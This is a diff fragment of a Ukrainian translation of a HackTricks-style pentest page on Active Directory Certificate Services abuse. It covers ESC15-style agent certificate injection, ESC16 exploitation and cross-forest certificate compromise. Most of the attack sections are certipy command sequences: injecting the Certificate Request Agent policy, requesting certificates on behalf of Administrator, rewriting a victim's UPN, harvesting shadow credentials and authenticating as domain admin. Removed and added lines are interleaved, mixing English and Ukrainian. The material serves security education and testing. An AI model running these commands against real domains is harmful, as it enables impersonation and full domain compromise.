надає суб'єкт"), інжектуючи "Політику застосування агента сертифіката".** Цей сертифікат призначений для зловмисника (`attacker@corp.local`), щоб стати агентом реєстрації. Жоден UPN не вказується для власної ідентичності зловмисника, оскільки мета полягає в здатності агента. +**Крок 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Цей сертифікат призначений для зловмисника (`attacker@corp.local`), щоб отримати права enrollment agent. Тут не вказано UPN для особистості зловмисника, оскільки мета — здобути саме повноваження агента. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -787,9 +802,9 @@ certipy req \ -ca 'CORP-CA' -template 'WebServer' \ -application-policies 'Certificate Request Agent' ``` -- `-application-policies 'Certificate Request Agent'`: Впроваджує OID `1.3.6.1.4.1.311.20.2.1`. +- `-application-policies 'Certificate Request Agent'`: Інжектує OID `1.3.6.1.4.1.311.20.2.1`. -**Крок 2: Використовуйте сертифікат "агента" для запиту сертифіката від імені цільового привілейованого користувача.** Це крок, подібний до ESC3, використовуючи сертифікат з Кроку 1 як сертифікат агента. +**Step 2: Use the "agent" certificate to request a certificate on behalf of a target privileged user.** Це крок, схожий на ESC3-like, де сертифікат з Кроку 1 використовується як agent certificate. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -797,63 +812,63 @@ certipy req \ -ca 'CORP-CA' -template 'User' \ -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator' ``` -**Крок 3: Аутентифікуйтеся як привілейований користувач, використовуючи сертифікат "від імені".** +**Крок 3: Аутентифікуйтеся як привілейований користувач, використовуючи сертифікат "on-behalf-of".** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Security Extension Disabled on CA (Globally)-ESC16 +## Вимкнення розширення безпеки на CA (глобально) - ESC16 -### Explanation +### Пояснення -**ESC16 (Підвищення привілеїв через відсутність розширення szOID_NTDS_CA_SECURITY_EXT)** відноситься до сценарію, коли, якщо конфігурація AD CS не вимагає включення розширення **szOID_NTDS_CA_SECURITY_EXT** у всі сертифікати, зловмисник може скористатися цим, виконавши: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** стосується сценарію, коли, якщо конфігурація AD CS не вимагає включення **szOID_NTDS_CA_SECURITY_EXT** у всі сертифікати, атакуючий може скористатися цим таким чином: 1. Запит сертифіката **без прив'язки SID**. -2. Використання цього сертифіката **для аутентифікації як будь-який обліковий запис**, наприклад, видаючи себе за обліковий запис з високими привілеями (наприклад, адміністратора домену). +2. Використання цього сертифіката **для автентифікації як будь-який обліковий запис**, наприклад, видаючи себе за обліковий запис з високими привілеями (наприклад, Domain Administrator). -Ви також можете звернутися до цієї статті, щоб дізнатися більше про детальний принцип: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +Додатково можна звернутися до цієї статті, щоб дізнатися більше про детальний принцип: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 -### Abuse +### Зловживання -Наступне посилається на [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), натисніть, щоб побачити більш детальні методи використання. +Наведене посилання на [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Click to see more detailed usage methods. -Щоб визначити, чи вразливе середовище Active Directory Certificate Services (AD CS) до **ESC16** +Щоб визначити, чи середовище Active Directory Certificate Services (AD CS) вразливе до **ESC16** ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Крок 1: Прочитайте початковий UPN жертви (Необов'язково - для відновлення).** +**Крок 1: Прочитайте початковий UPN облікового запису жертви (необов'язково - для відновлення).** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**Крок 2: Оновіть UPN жертви на `sAMAccountName` цільового адміністратора.** +**Крок 2: Оновіть UPN облікового запису жертви на sAMAccountName цільового адміністратора.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Крок 3: (Якщо потрібно) Отримати облікові дані для облікового запису "жертви" (наприклад, через Shadow Credentials).** +**Крок 3: (за потреби) Отримати облікові дані для облікового запису "жертви" (наприклад, через Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Крок 4: Запросіть сертифікат як "жертва" користувача з _будь-якого підходящого шаблону автентифікації клієнта_ (наприклад, "Користувач") на CA, вразливому до ESC16.** Оскільки CA вразливий до ESC16, він автоматично пропустить розширення безпеки SID з виданого сертифіката, незалежно від конкретних налаштувань шаблону для цього розширення. Встановіть змінну середовища кешу облікових даних Kerberos (команда оболонки): +**Крок 4: Запросіть сертифікат від імені користувача "victim" з _будь-якого підходящого шаблону клієнтської аутентифікації_ (наприклад, "User") на ESC16-вразливому CA.** Оскільки CA вразливий до ESC16, він автоматично не включатиме розширення безпеки SID у виданому сертифікаті, незалежно від конкретних налаштувань шаблону для цього розширення. Встановіть змінну середовища кеша облікових даних Kerberos (shell command): ```bash export KRB5CCNAME=victim.ccache ``` -Потім запитайте сертифікат: +Потім запросіть сертифікат: ```bash certipy req \ -k -dc-ip '10.0.0.100' \ -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ -template 'User' ``` -**Крок 5: Поверніть UPN облікового запису "жертви".** +**Крок 5: Повернути UPN облікового запису "victim".** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -866,22 +881,24 @@ certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Компрометація лісів за допомогою сертифікатів, пояснена в пасивному голосі +## Компрометація лісів за допомогою сертифікатів (пояснено у пасивному стані) -### Порушення довіри лісів через скомпрометовані ЦА +### Порушення довірчих відносин між лісами через скомпрометовані CA -Конфігурація для **крос-лісової реєстрації** є відносно простою. **Кореневий сертифікат ЦА** з ресурсного лісу **публікується в облікових лісах** адміністраторами, а **сертифікати підприємницької ЦА** з ресурсного лісу **додаються до контейнерів `NTAuthCertificates` та AIA в кожному обліковому лісі**. Для уточнення, ця угода надає **ЦА в ресурсному лісі повний контроль** над усіма іншими лісами, для яких вона управляє PKI. Якщо ця ЦА буде **скомпрометована зловмисниками**, сертифікати для всіх користувачів як в ресурсному, так і в облікових лісах можуть бути **підроблені ними**, тим самим порушуючи межу безпеки лісу. +Налаштування для **cross-forest enrollment** зроблено відносно простим. **root CA certificate** з ресурсного лісу **публікується в account forests** адміністраторами, а **enterprise CA** сертифікати з ресурсного лісу **додаються в контейнери `NTAuthCertificates` та AIA в кожному account forest**. Для ясності: ця конфігурація надає **CA в ресурсному лісі повний контроль** над усіма іншими лісами, для яких він керує PKI. Якщо цей CA буде **скомпрометований атаками**, сертифікати для всіх користувачів як ресурсного, так і account forest можуть бути **підроблені ними**, тим самим буде зламано межу безпеки лісу. -### Привілеї реєстрації, надані іноземним принципалам +### Надання прав реєстрації іноземним суб'єктам -У багатолісових середовищах необхідно бути обережними щодо підприємницьких ЦА, які **публікують шаблони сертифікатів**, що дозволяють **Аутентифікованим Користувачам або іноземним принципалам** (користувачам/групам, які є зовнішніми для лісу, до якого належить підприємницька ЦА) **права на реєстрацію та редагування**.\ -Після аутентифікації через довіру, **SID Аутентифікованих Користувачів** додається до токена користувача AD. Таким чином, якщо домен має підприємницьку ЦА з шаблоном, який **дозволяє права на реєстрацію Аутентифікованим Користувачам**, шаблон може потенційно бути **зареєстрований користувачем з іншого лісу**. Аналогічно, якщо **права на реєстрацію явно надані іноземному принципалу шаблоном**, **створюється крос-лісова відносина контролю доступу**, що дозволяє принципалу з одного лісу **реєструватися в шаблоні з іншого лісу**. +У багалісних середовищах потрібно бути обережним з Enterprise CAs, які **публікують шаблони сертифікатів**, що дозволяють **Authenticated Users або foreign principals** (користувачам/групам, які належать до іншого лісу) **права на enrollment та редагування**.\ +Після автентифікації через довіру, AD додає **Authenticated Users SID** до токена користувача. Отже, якщо в домені є Enterprise CA зі шаблоном, що **дозволяє Authenticated Users права на enrollment**, цей шаблон потенційно може бути **зареєстрований користувачем з іншого лісу**. Аналогічно, якщо **права на enrollment явно надаються foreign principal у шаблоні**, тим самим створюється **cross-forest access-control relationship**, що дозволяє суб'єкту з одного лісу **реєструватися у шаблоні з іншого лісу**. -Обидва сценарії призводять до **збільшення площі атаки** з одного лісу в інший. Налаштування шаблону сертифіката можуть бути використані зловмисником для отримання додаткових привілеїв в іноземному домені. +Обидва сценарії призводять до **збільшення поверхні атаки** з одного лісу в інший. Налаштування шаблону сертифіката можуть бути використані нападником для отримання додаткових привілеїв у foreign domain. -## Посилання +## References - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}}